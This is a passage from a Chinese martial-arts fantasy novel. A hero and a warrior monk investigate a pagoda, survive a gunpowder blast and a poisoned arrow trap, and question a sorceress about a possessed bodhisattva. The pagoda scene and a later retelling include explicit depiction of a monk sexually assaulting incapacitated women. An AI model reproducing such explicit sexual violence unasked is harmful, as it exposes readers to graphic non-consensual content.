承受他人罪业这岂不是损己利人?韦陀那长毛和尚竟然有这般的决断和魄力?怎么看,他都像是投机取巧之人,居然敢于承担众生之罪……龙辉满肚狐疑,便说道:「苦海大师,是不是传闻有误,因为在下曾与韦驮菩萨照过面……说句不好听,他满腹心机,与这大慈大悲根本沾不上边,不过若论容貌俊秀的话,他到可以当个佛门俏公子!」
苦海微微一愣,讶声道:「俊秀?虽说出家人四大皆空,但韦驮菩萨的模样根本与俊秀沾不上边,六年小僧曾听韦驮菩萨讲经,他已经是将行就木的老人了!」
龙辉微微一愣,问道:「你从无涯之崖出来后就没见过他?」
苦海摇头道:「没有,从无涯之崖上来后,小僧便接到师尊噩耗,对于其他的事并未挂心。」
龙辉忽发奇想地道:「既然如此,那大师有没有怀疑,现在这个韦驮菩萨是他人假扮的呢?」
苦海道:「这个可能不大,因为佛修者即便皮囊改变,但内藏之佛元是瞒不过佛界中人的,而且韦驮菩萨曾多次在大众之前出现,就算是假的,也休想瞒过璃楼菩萨等一众高僧的眼目。」
就在这时塔门自动打开,正是请君入瓮之势。
龙辉哈哈一笑,迎难而上,昂首踏入塔中,却见第一层空空如也,心生疑惑,于是便走上第二层,谁知也是空无一物。
龙辉一口气直奔而上,每一层楼皆是一片空旷,直到走上第九层,才看两名僧人盘膝而坐,似乎已经恭候多时。
苦海行礼道:「弟子拜见水火尊者!」
水尊者说道:「苦海,你因何而来?」
苦海道:「弟子为觅刀魂,为查真相!」
水尊者摇头道:「此地无刀魂,也无真相,你速速离去吧!」
龙辉道:「那可有雪露天华与清心舍利子?」
水尊者也摇头道:「没有,什么都没有!」
看似答得随便,但龙辉则感觉到这两个和尚的语气中暗藏机锋。
苦海也是听出其中禅机,思索片刻,答道:「色即是空空即是色,塔内即使空无一物,又是遍地珠宝!」
水尊者问道:「你目光所见,可有珠宝?」
苦海道:「肉眼不见,心眼清明,弟子看到四周皆是清圣之物,佛耀沛然。」水尊者微微一笑,说道:「果然有慧根,禅心清明,可辨是非。」
苦海见他并无恶意,于是便问道:「弟子斗胆,请问尊者家师荼罗明王因何事而入塔。」
火尊者道:「荼罗明王只是将一个盒子的交给了老衲,其他的事并未多说。」说罢从僧袍中掏出一个盒子,递给了苦海。
苦海揭开盖子,只见里边放着一枚圆溜溜的珠子。
龙辉问道:「这可是舍利子?」
苦海摇了摇头道:「不太像,因为里边的佛元似真似幻,小僧也不知道这是什么。」
火尊者道:「此物老衲也不知从何而来,荼罗明王也并未说明,只是仓促将盒子交给老衲,便又匆匆离去。」
水尊者似乎想起了什么,说道:「荼罗明王在临别之前说过一句话,魔披佛衣,还叫我们俩多加小心。」
龙辉暗自传音给苦海:「苦海大师,这两个尊者的话可信吗?」
苦海道:「水火尊者公正严明,师尊既然临终前将这盒子托付给他们,那应该是信得过的!可能当时师尊并未寻得确切证据,所以不能跟两大尊者明言。」
火尊者说道:「苦海,你来此地可是要寻刀魂?」
苦海点头道:「正是,还请尊者指点迷津!」
火尊者叹道:「痴儿,魂不是就在你身上么,此镇魔戒刀既然是你炼出,便应该由你赋魂予刀,为何要假借外物。」
水尊者也道:「天诵塔虽供奉着历代高僧之舍利,但这些舍利子都是他人禅修之凝聚,不一定就适合你这口刀,所以强求无益。」
苦海闻言,犹如当头棒喝,沉吟片刻,叹道:「弟子着相了,多谢尊者指点迷津!」
水尊者望着龙辉道:「这位施主,不知为何登塔?」
龙辉道:「在下想请尊者借两件宝物——雪露天华和清心舍利子。」
水尊者道:「雪露天华专治火伤,施主可是要用此物来救人?」
龙辉点了头称是。
水尊者道:「即使救人,便是善举,贫僧这就为施主取来。」
只见他法指扬,捏佛印,口诵经文,霎时虚空之中浮出一尊玉瓶,龙辉微微吃了一惊,暗忖道:「原来这些宝物都被阵法隐藏了,难怪整座塔都是空空如也,这与妖族当初收藏书卷的方式极为相似。」
水尊者将玉瓶递给龙辉,说道:「此乃雪露天华,至于清心舍利子贫僧却无能为力,因为前些日子韦驮菩萨已经将舍利子要走,想必用来克制修途中产生的心魔。」
龙辉叹道:「这还真是不巧!但两位尊者可知神州即将大乱。」
火尊者道:「吾等一直在塔内静修,已经好久不闻外事了!」
龙辉道:「尊者倒是好耐心,居然能在这塔里苦修这么久,足不出户。」
火尊者道:「也并非足不出户,前不久天佛教主葬礼,老衲便离开了天诵塔。」
水尊者道:「天诵塔供奉着历代高僧舍利子,不宜过久逗留,两位还是离去吧。」
这两个僧人态度和悦,龙辉也生不出敌对之意,和苦海打了个眼色便一同走下塔去。
走到第二层之时,龙辉忽然看到侧面的墙壁微微打开了一条缝隙,显然是一道暗门,心里不禁起疑:「方才上来的时候怎么没看到这暗门。」
怀着好奇,两人朝暗门走去,尚未接近,却听里边传来阵阵喘息呻吟,一种酸骚的气息飘入鼻中。
苦海对此还是一脸茫然,但龙辉久经情场床榻,立马就醒悟过来——这是男女交媾的气息和声音。
龙辉一脚踹开暗门,只见里面赤裸裸地躺着五具女体,一名僧人正趴在一名丰腴雪白的女子身上耸动,那女子两眼无神,口唇紫绀,显然是阴息丢尽的征象。
「好个淫僧!」
这天诵塔乃是供奉舍利子的圣地,居然有人敢在此行淫秽之事,苦海焉能不怒,当拍出大梵圣印。
那僧人反应极快,猛地将身下女子推给了苦海,让她做挡箭牌。
苦海不忍误伤无辜,急忙撤回掌力,但也因此被内力反冲气脉,浑身好不难受。
就在苦海收招的同时,僧人举步进逼,一掌劈向苦海丹田。
「弥勒掌?」
苦海大吃一惊,这分明就是须弥勒菩萨的独门武决,惊愕之余,掌风已经逼命而来。
危机关头,只见苦海背后布囊绽放璀璨佛光,锐利锋芒自动护主,淫僧偷袭不成反被锐锋划上手臂。
戒刀通灵,自动护主,苦海当机立断反手握刀,只见一口金灿灿的戒刀横空出世,刀柄刻着佛陀法相,刀身上布满经文,庄重威严,沛然圣气震慑空明。
苦海持刀而立,紧盯对手,待看清其面目,不免大吃一惊:「须弥勒菩萨,怎地是你?」
龙辉凝神观望,只见须弥勒双目赤红,脖子青筋暴露,赤身裸体,肌肤通红,胯下淫根沾满了粘稠浆液,最为诡异的是眉心处隐隐有一个梵文浮现。
苦海怒上眉梢,修罗杀相再度浮现,挥刀便要斩杀佛界败类。
却见须弥勒不畏刀锋,迎面扑来,双掌一合,正是要空手入白刃,强夺戒刀。
苦海手腕一扭,刀锋旋转,划出细密刀网,嗖的一下便将须弥勒左掌绞碎,顿时血肉横飞,惨不忍睹。
但须弥勒已经不露丝毫痛楚,嘴角始终挂着那一丝怪异的冷笑,静静地立在原地。
龙辉暗忖道:「这须弥勒虽然不是先天高手,但内力深厚,当初冰儿也险些折在他手上,怎会如此轻易地让苦海斩断手掌。」
苦海喝道:「须弥勒,我师尊是不是你害死的!」
面对苦海的怒斥,须弥勒不为所动,继续冷冷怪笑。
「发生何事!」
打斗声将两大尊者引来,当他们目睹现场后,神情也是为之一震。
水尊者气得浑身发抖,指着须弥勒喝道:「好啊,原来荼罗明王说的那个披着佛衣的魔就是你——须弥勒!」
火尊者不由分手,便是一掌拍去:「败类,还纳你的劫数吧!」
须弥勒呵呵一笑,挺胸应招,竟将火尊者怒掌照单全收,碰的一声,胸骨尽断。
火尊者不禁大吃一惊,他深知须弥勒之能为,怎会想到如此轻易的得手,其中不由闻到了一丝阴谋的味道。
「当初那个淫僧被冰儿阉了,但此刻的须弥勒却已经还是男人,难道他们不是同一个人」龙辉忽然醒悟过来,暗叫不妙,「难道须弥勒只是一个替死鬼?」
「大家快离开这,此地不宜久留!」
龙辉立即开口警告。
水火尊者奉命守护天诵塔,如今被人神不知鬼不觉地潜进来不说,而且还将这供奉舍利子的清圣之地当成了淫乐窟,此等奇耻大辱便是佛亦有火,两人那听得进龙辉的警告,左右开弓便要擒拿须弥勒。
须弥勒咧嘴一笑,猛地从怀里掏出一个玉佩,玉佩上刻着符文,龙辉眼尖瞧出了端倪——这分明就是灵火咒符!当初皇甫武吉曾欲以此咒符引爆武崇门下的火药,但被洛清妍反算了一把,难道这天诵塔内也曾有火药?来不及细想,须弥勒右手一紧,猛地捏碎了灵火咒,空气中顿时变得极为灼热,众人只觉得坠入阿鼻炼狱,随即热浪从地底涌出,巨爆连环而响,墙壁破碎,柱子崩塌,滔天热浪和乱流蜂拥而来,将众人卷入其中。
危急关头,龙辉豁尽元功,将玄阴冰轮推到了极限,笼罩四人,力抗今天巨爆。
但人力有限,玄阴冰轮逐渐被热浪侵蚀,四人的立足之地也越来越小,随时都会被卷入爆炸之中。
就在龙辉气弱之时,一股浑厚纯正的内力注入体内,替他撑住了即将崩碎的玄阴冰轮。
龙辉稍稍缓过气来,回头一看,只见苦海、水火尊者站成一列,掌心贴背,同时将佛元真气注入他体内,合四人之力抵御爆炸。
耳边唯有轰鸣巨响,四人合气虽能换来半刻喘息,但千斤火药之威力岂容小视,当初魔尊、愆僧、厉帝三大先天高手也被炸成重伤,龙辉可不认为自己这四人加起来能比得过这三大高手,若不快想办法逃生,四人迟早要死。
「苦海,快用戒刀开路!」
龙辉大喝道,在他看来这口由混沌之气锻炼而成的戒刀或许可以发挥意想不到的效果。
苦海闻言,立即气凝刀锋,豁尽全身功力,力劈生路。
佛耀刀芒凌空扫下,果然从火海和碎石中劈出一条通路,地底的火药无穷无尽,暴涨连环不绝,这条通道恐怕不出数息就要消失。
龙辉当机立断,反手推掌,发出三道掌力,将三名僧人送出火海。
也就是这么三掌的功夫,自己已经陷入绝境,四面八方竟是爆炸、烈火、乱石,不断地湮灭生机。
生死关头,龙辉心神甫定,再运龑武天书,他双手左右虚引,放空气脉,将四周爆炸的气流纳入体内,借力打力,巧挪轻移,御天借势再健奇功,龙辉手掌所过,拦路的危机立即变成了送行的阻力,火焰也好,乱石也好,在御天借势的鼓动下,纷纷化为推动自身的力量,龙辉也藉此逃出塔外。
冲出天诵塔,龙辉回望一眼,只见高耸入云的雄伟塔楼此刻已经成了一片火海,崩塌的碎石不住落下,方才一心逃命,心神高度集中,此刻放松心情,忽然感到浑身剧痛,这才发现浑身伤痕累累,原来是被乱世砸中,虽未伤及筋骨,但也是皮开肉绽,痛楚难挡。
「龙施主,你可安好?」
苦海急忙过来询问。
龙辉运功止痛,摇头道:「劳大师挂心,在下无恙。」
水尊者叹了口气道:「这回若非龙施主相助,我们这两个老秃驴恐怕就得圆寂了,那还能毫发无伤地站在这里!」
火尊者猛地一跺脚,怒道:「岂有此理,究竟是何人要置吾等于死地!」
龙辉强忍伤痛,说道:「尊者冷静,能够将整座天诵塔给炸毁,这炸药少说也得上千斤,如此大的动作绝不可能不留下任何破绽,只要细心询问寺内弟子,便会有结果。」
水尊者叹道:「我们师兄弟足不出户地守在天诵塔,这黑手居然还能瞒过我们,想必是修为超群之人。」
火尊者恍然大悟道:「修为高绝?照师兄这番说法,纵观整个佛门也没几个,若是再限定雷峰内部人员,那就更少了!哼,能有此等修为的恐怕也就只有韦陀、璃楼还有大师兄识尊者了。」
龙辉摇头道:「在下倒有不同看法,要将千斤火药藏入天诵塔而瞒过其他人,那根本就是不可能的事情,就算是十个先天高手联合行动也未必能做到,所以这凶手不一定就是武功高强之人。」
水尊者微微一愣,蹙眉道:「既然如此,这个凶手又是如何瞒过我们两人呢?」
龙辉沉声道:「先前听尊者说过,两位曾经因为参加天佛教主的葬礼而离开天诵塔!」
火尊者猛地一拍手,说道:「然也,当时万僧齐聚葬礼之上,天诵塔是无人看守,而且葬礼举行了足足三个时辰,这么长的时间,足够准备炸药了!」
水尊者蹙道:「当日全僧齐聚大雄宝殿,但空尊者并未出现,莫非……」
龙辉叹道:「既然是万僧汇聚葬礼,那么也有可能是外界人士闯入,这黑手的范围极大,很难把握。」
水尊者道:「虽说如此,吾等还是先去拜访一下空尊者大师兄。」
火尊者点头道:「我们也有数十年没见过大师兄了,正好乘此机会见他一见,以免日后坐化圆寂,想见面都不行了!」
就在这时,护院武僧听到爆炸后,纷纷赶来,带头的是另一名罗汉,名曰举钵罗汉,他看到托塔罗汉昏迷在一旁,指着龙辉怒喝道:「大胆狂徒竟敢谋害比丘,炸毁宝塔,今日贫僧便要一开杀戒!」
水尊者大喝道:「举钵罗汉,你给老衲听好了,这炸毁宝塔者另有其人,这位龙施主乃是吾与火尊者的救命恩人,不可无礼!」
举钵罗汉被这么一喝,顿时哑声,六界尊者地位仅次于教主和四大菩萨,他哪敢逾越,只好乖乖退到一旁。
水火尊者喝退群僧后,带着龙辉、苦海二人直奔后山,穿过重重密林,来到一座陡壁之前。
火尊者指着陡壁下的一个石洞道:「识尊者修行之地便在绝壁山洞里,老衲先下去跟师兄打个招呼,再叫诸位下来。」
这绝壁万丈高深,险峻之际,若有人躲在洞里暗算,便是九死一生的死局,火尊者这般做法也是保险起见。
只见他僧袍一抖,身子轻飘飘的朝悬崖落下,借着山风吹拂,轻松地飘到了山洞里,过了片刻,他探出头来,朝众人打了个安全的手势。
踏入绝壁山洞,只见火尊者满面愁容地对准众人,开口第一句话便是:「识尊者圆寂了!」
龙辉定神望去,只见一名老僧地盘坐于石台,面目和祥,仿佛是在冥思入定,禅想佛法,但身上毫无气息,俨然已经去世多时。
水尊者安慰道:「大师兄显然已经修成肉身菩萨的境界,平囊不腐不坏,此乃大功德也,所以火师兄不必介怀!」
火尊者叹道:「贫僧并非介怀于此,只是感慨线索已断。哎,待老衲将师兄遗骸带回寺中,供奉起来!」
线索中断,火尊者背起识尊者的尸身便离开洞穴,龙辉等三人也紧随其后。
跃上山崖,火尊者满怀心事地负尸回寺,才走了几步,足下忽然踢到了一根丝线,尚未来得及反应,尖锐的破空声便响起。
数十枚利箭闪电般射来,笼罩四人周围,毫无躲闪的空隙。
火尊者由于背负尸体,双手无法使用,肩膀顿时被射中一箭。
这些分明就是军队的弩箭,而且布置机关的手法与军中人士并无二异,龙辉大吃一惊,能够在短时间内布置好军用机关和弩箭,并且每一步都走在众人跟前施加阻杀,这个黑手想必十分熟悉云海山之地形,所以推测这黑手并非外界人士,而是雷锋禅寺之僧人。
龙辉熟知军队弓弩之特性,瞬间便稳住阵脚,以戍土真元催动土墙,将箭矢截下,护众人周全。
苦海挥刀劈最后一枚箭矢,赶过去扶起火尊者,只见他面色晦暗,口唇发青,箭伤处流淌黑血。
苦海拔下箭矢,只见尖端处蓝汪汪一片,显然是淬了剧毒。
水尊者急忙过来替火尊者封住血脉,阻止毒性蔓延。
龙辉朝四周望了一眼,确定没有危险后,便说道:「两位尊者,山上此刻也是杀机暗布,在下以为此地不宜久留,速速下山为妙。」
两大尊者思量片刻后,点头同意,于是改由苦海背负识尊者皮囊尸身,水尊者照顾火尊者,龙辉腾出双手来保护三人,四人首尾相应,小心翼翼地朝上下走去,庆幸的是一路上并未再遇上其他暗杀。
龙辉对此并不感意外,毕竟这黑手也怕暴露身份,所以连番暗算不成后便不再冒险。
在山下找了一个僻静的地方后,龙辉亲自查看火尊者的毒伤,发觉毒素正不断侵蚀佛者气脉,若让毒性蔓延下去,就算不死也得功体尽废。
龙辉以阴阳五行之气试探毒素之特性:「此毒暗含金水之气,以金生水,增强毒性,虽然麻烦,但要解不难!」
看清毒性,龙辉施展离火,戍土两真元,以火克金,以土克水,很快便将剧毒瓦解。
火尊者恢复了几分精神,感激地道:「多谢龙施主援手!」
水尊者咬牙道:「炸天诵塔,亵渎先辈舍利,如此恶事居然有人干得出来!想不到吾等多年闭户不出,佛界竟然已经腐朽至此!」
火尊者撑起身子哼道:「反正我们这把老骨头时日也不多了,就趁着还有口气,便跟这佛界败类斗上一斗,哪怕粉身碎骨也要端正佛门!」
龙辉道:「这幕后推手处心积虑地借着天佛教主葬礼在天诵塔布下炸药,明显势要针对两位尊者!」
水尊者道:「葬礼距离现在也有两个月了,为何偏偏在今天下手?」
龙辉道:「他怕暴露身份,所以迟迟未对二位下手。今天在下与苦海大师登上天诵塔,正好可以作为一个掩饰自身的机会,到时候他既可以谋害两位尊者,又可以将罪状推倒我们两人身上。至于须弥勒,我想他只是幕后黑手用来分散我们注意力以及拖延时间的替死鬼。」
苦海惊愕地道:「须弥勒不是那个淫徒?」
龙辉摇头道:「他究竟是不是真的犯了淫戒我不敢说,但我敢肯定,刚才那个须弥勒已经被人迷乱了心智,所做之事就像是一个死士。而且,那个幕后黑手很有可能会将须弥勒之死扣在我们头上,策动佛门与咱们为难。」
水尊者哼道:「有老衲跟火师兄在,这栽赃嫁祸的伎俩休想奏效!苦海、龙施主,你们尽管放心,只要老衲还有口气在,那恶人就别想得逞!」
龙辉应了一声多谢,脑海中再度浮现出须弥勒临死前的神情,有几分像是被玄媚夺神术控制,但却又有几分怪异。
「被玄媚夺神术控制的人,其神情动作与常人无异,他们的武功的智计都不受影响,只是心甘情愿地替鹭眀鸾办事,可是须弥勒不但神志慌乱,而且就连武功也大大降低……再说了,布置炸药只能在天佛丧礼的那一天进行,那时候万僧齐聚雷锋禅寺,等同于佛界所有力量都汇聚在了一起,以鹭眀鸾的谨慎是绝不会选这个时候来下手,而且她跟两大尊者并无仇隙和利益的冲突,所以应该不是她做的。」
百思不得其解,龙辉也不再拖延时间,于是便偕同苦海等人将火尊者送回玉京,但因为要照顾毒伤未愈的火尊者,龙辉的行程被大大拖慢,这一去一回距离十日期限已经过了七天,距离开启傀山祖祠的时间还有三日。
「时间不多,赶紧将雪露天华交给鹭眀鸾,博取她的信任,早日寻到名册的下落!」
龙辉马不停蹄地赶往裴府。
推开上回与鹭眀鸾会面的屋子,只见一道鹭眀鸾与潇潇正在用餐,师徒二人有说有笑,气氛好不融洽,更带着一丝温馨。
龙辉暗忖道:「裴府众人显然已经被她控制了心神,若不然她们师徒怎会如此大摇大摆地在此用餐。」
鹭眀鸾蹙了蹙秀眉,微嗔道:「龙将军,你这般闯进来,似乎有些越礼。」
龙辉冷冷地道:「我倒是佩服阁下之胆魄,明明是洛清妍必杀之对象,你居然还敢在这大吃大喝。」
鹭眀鸾放下筷子,笑问道:「莫非被人追杀就不用吃饭了吗?」
潇潇也嘟着嘴道:「你干嘛要打扰我们吃饭,真讨厌!」
她恢复心智后,模样秀美,说话时颇带几分少女娇憨,甚是可爱。
龙辉没有答话,从怀里掏出玉瓶,丢给鹭眀鸾,说道:「这里就是雪露天华,至于清心舍利子下落暂且未明。」
鹭眀鸾看着龙辉浑身伤痕的模样,眼波倏然一阵迷离,红唇轻抿道:「你……为何会弄成这个样子!」
龙辉冷冷地道:「天诵塔上遇到一些小意外。」
鹭眀鸾身子一僵,眼中景色仿佛变得有些迷糊,思绪渐渐拉回了当年那座小阁楼里,也曾是有这么一个少年替自己取来灵药,从而弄得满身伤痕,然而这辈子她再也没办法见那少年一面,也没办法向他撒娇弄痴。
「哥哥……」
鹭眀鸾闪过一丝不易察觉的哀伤,很快便定下心来,轻言答谢道:「多谢,将军这份恩义,妾身铭感五内,来日定当回报。」
龙辉道:「回报之事暂且按下,我想请教一个问题,不知鹭大姐可曾到过雷锋禅寺?」
鹭眀鸾微微一愣,奇道:「那是佛界总坛,妾身没事朝那里跑做什么?将军这话问的有些莫名其妙。」
龙辉淡淡地道:「在天诵塔的时候,我遇上了须弥勒菩萨,他似乎做着一些身不由己的事情。」
鹭眀鸾笑道:「所以将军怀疑是妾身做的好事喽?」
龙辉垂目道:「非也,只是将心中疑惑说出来罢了。」
鹭眀鸾道:「若正面打斗,妾身自认为可以轻取这须弥勒菩萨,但要控制他之心神却非易事,因为这些和尚都有极强的禅定功夫,这须弥勒身为佛界四大菩萨,这禅心修为绝不简单,即便我能控制,也得耗损大量元气,再说了,妾身可没那单枪匹马独闯佛山的胆量。」
龙辉道:「在下只是想消除心中疑虑罢了,并无他意!」
鹭眀鸾笑道:「妾身晓得,若将军不弃,不如谈一谈那须弥勒的状况,说不定妾身看出些端倪来。」
龙辉心忖道:「这妖女的夺神之法独步天下,说不定真能提供一些线索。」
龙辉道:「须弥勒当时是双眼赤红,表情呆滞,不惧痛疼,脖子青筋暴露,肌肤通红,胯下淫根沾满了粘稠浆液,眉心处隐有梵文。」
鹭眀鸾表情忽然大变,猛地站了起来,惊道:「什么!梵文现眉心?」
只见她俏脸酡红,呼吸急促,高耸的酥胸一起一伏,宛若肉山震动,倍添妖艳。
在龙辉印象中,这个妖女无论遇上何种风浪,皆是媚笑嫣然,镇静自若,那份风姿丝毫不在洛清妍之下,何曾见过她这般失态。
鹭眀鸾朝潇潇说道:「潇潇,你先下去吧。」
潇潇嘟着嘴道:「不嘛,这小子不是好人,我要留在师父身边保护你!」
鹭眀鸾莞尔道:「傻丫头,别任性了,师父有些事要同龙将军面议。师父给你弄来了几个蟋蟀,就放在你屋子里,你快去玩吧。」
潇潇顿时眉开眼笑,喜滋滋地跑了出去。
鹭眀鸾叹道:「小徒娇纵,让将军见笑了,还望将军能详说天诵塔所见之事!」
龙辉见她神情极为凝重,于是便将须弥勒之状况说了一遍,当说到须弥勒奸淫女子采其阴息的时候,鹭眀鸾脸上顿时凝聚了沉重的杀意,龙辉看得出她是在极力克制。
「事情经过便是如此……」
龙辉将须弥勒的状况说了一遍,鹭眀鸾柳眉倏地一抖,玉掌一拍,桌子顿时化为碎片:「果然是那个淫僧!」
龙辉见她情绪极为激动,便试着问了一句:「冒昧一问,那淫僧究竟是何许人也!」
鹭眀鸾微微一愣,压下了怒容,再度恢复那烟视媚行的模样,笑道:「妾身失态了,让将军见笑了。」
龙辉道:「无妨,不过当年究竟发生何事,鹭大姐可愿告之在下?」
鹭眀鸾仿佛是戳中心中痛处般,如花笑靥凝于粉面,尚不及褪去,片刻才得一僵,冷冷地道:「将军想听吗?」
龙辉道:「在下只是好奇,并无追问之意。」
鹭眀鸾凝望了他片刻,心里百感交集,觉得眼前之人仿佛跟鹭明佳重叠在了一起,一时之间难分真假,芳心没来的一阵酸楚,叹道:「既然将军替妾身寻来雪露天华,于情于理,妾身都应将实情托出。」